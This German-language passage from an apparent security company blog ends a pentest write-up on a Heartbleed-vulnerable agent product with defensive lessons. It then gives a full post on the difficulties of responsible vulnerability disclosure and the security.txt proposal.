Der Pentest war in Q2/2016, die (Agenten-)Software halbwegs aktuell – also das Release des Herstellers. Was aber, wenn die (Agenten-)Software auf Drittanbieter-Komponenten mit bekannten Schwächen (die schon 2014 entdeckt wurden!) aufbaut?

Heartbleed (eine der ersten Schwächen die mit eigener Webseite und fancy Logo publik gemacht wurden). Man kann als anonymer Angreifer Daten aus dem Speicher des Servers auslesen, der OpenSSL vor Version 1.0.1g mit aktiver Heartbeat-Extension einsetzt. Die gängigen Tools haben auch sofort angeschlagen.

Also mal zur Verifikation der Meldung den Burp mit der Erweiterung Heartbleed eingesetzt. Das Ergebnis sah bei den Agenten und beim Mutterschiff in etwa so aus:

Heartbleed mit Burp Suite Pro Addon ausgenutzt

Also ist die Verwendung von Software mit bekannten Schwächen das 4. Problem des Herstellers, auf das ich stieß.

Responsible Disclosure ain’t easy

Das Thema hab ich in einem separaten Beitrag näher beleuchtet.

Bezogen auf die Probleme oben war mir auch schon klar, dass für den Hersteller es nicht einfach werden wird. So vergingen aber mitunter schon ein paar viele Monate, bis das Problem behoben, der Fix veröffentlicht und unter die Anwender gebracht wurde. Auf die Kommunikation dabei möchte ich hier nicht näher eingehen.

Fazit

Es waren viele Fehler, die letztlich dazu führten, dass die Schwächen der Lösung ans Tageslicht kamen.

Zertifikate bzw. der dazugehörige private Schlüssel sollte nie ungesichert irgendwo abgelegt werden.

Zertifikate sollten individuell je System/Komponente ausgestellt und bei Verbindungsaufbau überprüft werden.

Die Authentizität der Nachrichten muss anhand mehrerer Faktoren durch jeden Kommunikationspartner überprüft werden: passt der Inhalt zum Sender bzw. der Sender zum Inhalt?

Hersteller müssen verwendete Drittanbieterkomponenten auf aktuellem Stand halten, um deren Schwächen nicht zu den eigenen Schwächen zu machen.

]]>
Responsible Disclosure ist nicht immer leicht https://www.secuvera.de/blog/responsible-disclosure-ist-nicht-immer-leicht/ Tue, 15 Jan 2019 11:19:33 +0000 https://www.secuvera.de/?p=3432 weiterlesen ...]]> Das Entdecken von neuen, unbekannten Schwachstellen macht Spaß, keine Frage. Eher unspaßig ist aber, was man dann als guter Pentester Mensch mit den gewonnenen Informationen anstellt. In diesem Blogpost beleuchte ich Probleme in der Kommunikation zwischen Pentester und Softwarehersteller und möchte auch ein paar Tipps an die Hand geben – für beide Seiten.

Im Rahmen unserer Labdays oder eines Pentest-Projekts kommt es schon mal häufiger vor, dass wir auf bis dato unbekannte Schwächen treffen. Die möchten wir dann gerne, sofern es auch der Kunde erlaubt, an die Hersteller melden und später dafür im Gegenzug Lobpreis und Ehr eine Veröffentlichung machen, um unsere Expertise zu demonstrieren.

Wir haben im Melden und Veröffentlichen etwas Übung und uns auch selbst eine Richtlinie zur verantwortungsvollen Veröffentlichung auferlegt:

Wir möchten keine Schwächen veröffentlichen, für die es keinen Patch gibt*. Und wenn es einen Patch gibt, dann sollen Admins Zeit zum Einspielen haben.

*Ausnahme: der Hersteller/Entwickler erkennt das Problem nicht an oder möchte es nicht beheben.

Die Kontaktaufnahme

Wenn erst mal eine Schwäche gefunden ist, dann möchte man sie auch vertraulich an die richtige Stelle melden. Folgende Fragen gilt es daher zu klären:

  • An wen wenden?
  • Wie macht man der-/demjenigen am anderen Ende klar, dass man nichts verkaufen und nur Gutes tun mag?
  • Wie die Informationen sicher (verschlüsselt) von mir zum Empfänger bringen?

Viele Projekte/Hersteller/Entwickler haben dafür kein eigenes Kontaktformular oder keine eigene Kontaktadresse und kein öffentliches Schlüsselmaterial.

Manch eine/r möchte am liebsten aufgeben, weil es sehr mühsam sein kann, sein Problem immer und immer wieder zu schildern, bis man an der richtigen Stelle ist und sich so bis zum richtigen Kontakt durchzufragen. Das ist vielleicht der Ursprung von 0-days.

Der Wissenstransfer

Hat man den richtigen Ansprechpartner gefunden, so gilt es, diesem alle Informationen zur Verfügung zu stellen. Hier packen wir meist alle Protokolle oder Handlungsanweisungen in Form von neutralen Textdateien zusammen.

Beim Transfer sprechen wir zwar Klartext 🙂 bei der Übertragung wählen wir jedoch nie Klartext-Protokolle, sondern möglichst welche mit Ende-zu-Ende-Verschlüsselung. Der Austausch der Dateien kann dabei auf folgende Arten geschehen:

  • per PGP- oder S/MIME verschlüsselte E-Mail*
  • per (secuvera) Transferplattform
  • per verschlüsseltem ZIP-Archiv (AES) via unverschlüsselter E-Mail**

* Nicht jede/r Gegenüber hat das im Einsatz bzw. verfügt über entsprechende Zertifikate.

** Der Austausch des Archivkennworts muss dabei über einen anderen Kanal (z. B. Telefon) erfolgen

Die Absicht zur Veröffentlichung

Niemand hat die Absicht, eine Mauer zu errichten!

Bei anderen Pentestern ist es schon vorgekommen, dass beim Anklang des Begriffs „Responsible Disclosure“ oder „Veröffentlichung“ durch das Gegenüber nach kurzer Verschnaufpause oder längerer Analysephase was von „Rechtsabteilung“ und „Verschwiegenheitsverpflichtung“ genannt wird. Kein feiner Zug in meinen Augen. Kam bei mir zum Glück auch noch nicht vor.

Liebe Hersteller, wir Pentester wollen doch damit keinen Streit vom Zaun brechen und auch keine vorschnelle Information öffentlich machen. Denn damit riskiert man ja schließlich, dass Nutzer der verwundbaren Software plötzlich mit heruntergelassenen Hosen nicht behobenen Schwachstellen dastehen. Wir wollen lediglich wenn Gras über die Sache gewachsen ist nach einer beiderseits als angemessen bewerteten Zeit über unseren Fund erzählen. Schließlich hat man sich die Mühe gemacht und Zeit investiert und Interessenten fragen gar in Angebotssituationen nach Veröffentlichungen von Schwachstellen bzw. Beispielen.

Den Pentester einbinden

Hat der Pentester ein Problem gemeldet, ist es nur fair, ihn auch über den weiteren Verlauf bis hin zur Behebung in Kenntnis zu setzen. Denn danach richtet sich ja schließlich die Zeitachse der Veröffentlichung.

Nicht selten kommt es vor, dass vermeintlich selbst entworfene Behebungen das Problem verschlimmbessern, weil das Problem nicht richtig verstanden wurde. Warum dann nicht jemanden Fragen, der sich vielleicht etwas besser damit auskennt? Man kann daher gerne auch die Chance wahr nehmen den Pentester um Rat zu fragen und in Ihn dadurch gleichzeitig in den Prozess einbinden.

Man muss dazu übrigens kein Projekt mit dem Pentster ins Leben rufen und dessen Leistungen einkaufen. Das wäre ja auch irgendwie unlauter, wenn der Pentester dadurch zu einem Auftrag gelangen würde.* Solange es sich um überschaubaren Zeitaufwand von wenigen Minuten für den Pentester handelt, ist dieser sicher gerne bereit, sich zu beteiligen.

* Im Umkehrschluss kann es vielleicht doch Sinn machen, zu einem späteren Zeitpunkt die betreffende Software/Komponente durch den meldenden Pentester im Rahmen eines Penetrationstestprojekts prüfen zu lassen. Denn schließlich ist ihr/ihm der Untersuchungsgegenstand bereits bekannt und es könnten sich dadurch Synergieeffekte ergeben

Den Bogen nicht überspannen

Man wartet nicht gerade auf Probleme, um diese zu lösen. Daher ist es weit verbreitet, solche auftretenden Sicherheitsprobleme auf die lange Bank zu schieben.

Die Ausreden Erklärungen, die manch ein Hersteller ins Feld führt, können mannigfaltig sein:

  • Kunden möchten nur noch zwei Releases im Jahr erhalten, da das Einspielen der Patches Downtime bedeutet und Manpower bindet (oh RLY?!)
  • Ach und der Releaseplan ist fest und das Problem muss hinten anstehen (und das in Zeiten agiler Entwicklung 🙂 )

Been there, done that. Sicherheitsprobleme sollten ernst genommen und außer der Reihe so schnell es geht (aber sorgfältig) behoben werden.

Pentester sind nicht blöd z. T. auch Entwickler oder haben langjährige Erfahrung, wie lange es in etwa brauchen kann, um eine Schwachstelle zu beheben. Der Zeitplan bis zum Disclosure ist nie willkürlich gewählt. Und er kann mit triftigen Gründen sogar verlängert werden. Wo wir wieder beim Stichwort „den Pentester einbinden“ wären.

Die Nutzer informieren

Aufgabe des Herstellers ist es, zu gegebener Zeit die betroffenen über das Problem zu unterrichten und die Behebung in Aussicht zu stellen. Klar ist das kein Spaß, einen Fehler zuzugeben, aber solange Software von Menschen entwickelt wird, so lange kann sie nunmal Fehler haben. Schweigen macht es nur noch schlimmer. Je nach Art der Schwachstelle besteht vielleicht sogar eine Pflicht zum Informieren von (Aufsichts)behörden.

Danke sagen

Man darf sich gerne beim Pentester (und dieser beim Hersteller!) bedanken, nachdem man ein Problem bzw. dessen Meldung und Problembehebung überstanden hat. Gerne auch öffentlich, sofern beide zustimmen.

Es dem Pentester leichter machen

Das Problem scheinen viele zu haben, die sich mit Bug-Hunting und Schwachstellensuche befassen.

Wie also das Melden von Schwachstellen vereinfachen oder in geordnete Bahnen lenken? Gibts da nicht was von Ratiopharm?!

Dabei bin ich auf ein Projekt gestoßen, das dazu einen Vorschlag in Form eines RFCs ( RFC5785 ) macht.

Die Idee ist standardmäßig eine Textdatei, in der die Angaben zum Melden von Sicherheitsproblemen einer Webseite / eines Produkts eines Herstellers an einem standardisierten Ort ( z. B. https://example.com/product/.well_known/security.txt ) zu hinterlegen.

Darin sind dann Kontaktinformationen, Schlüsselmaterial, Richtlinien und Danksagungen enthalten. Im RFC wird folgendes Beispiel genannt:

# Our security address    
Contact: mailto:security@example.com
# Our PGP key
Encryption: https://example.com/pgp-key.txt
# Our security policy
Policy: https://example.com/security-policy.html
# Our security acknowledgments page
Acknowledgments: https://example.com/hall-of-fame.html
# Verify this security.txt file
Signature: https://example.com/.well-known/security.txt.sig

Kann man jetzt dafür oder dagegen sein. Bin mir auch nicht sicher, ob sich das durchsetzen wird und ob es umgesetzt werden wird. Aber das würde den Disclosure Prozess vielleicht doch etwas vereinfachen.

Fazit

Nichts ist einfach.

Hersteller sollten sich in diesen Zeiten gedanken über Schwächen und Meldewege machen.

Je einfacher einem Pentester/Forscher das Melden von Sicherheitsschwachstellen gemacht wird, desto höher ist die Wahrscheinlichkeit, dass Schwachstellen nach dem Fund auch tatsächlich an den Hersteller vorab einer Veröffentlichung auf einschlägigen Mailinglisten/Medien gemeldet werden.

(White-Hat-)Pentester möchten nichts böses. Sie wollen nur auf Probleme aufmerksam machen und zu gegebener Zeit nach der Problembewältigung etwas Anerkennung für Ihre Mühen.

Das führt beiderseits langfristig zu positiven Erfahrungen. Und die (Produkt-)Sicherheit wird auch nebenbei gesteigert. Es klingt so einfach und erscheint doch manchmal sehr schwer.

]]>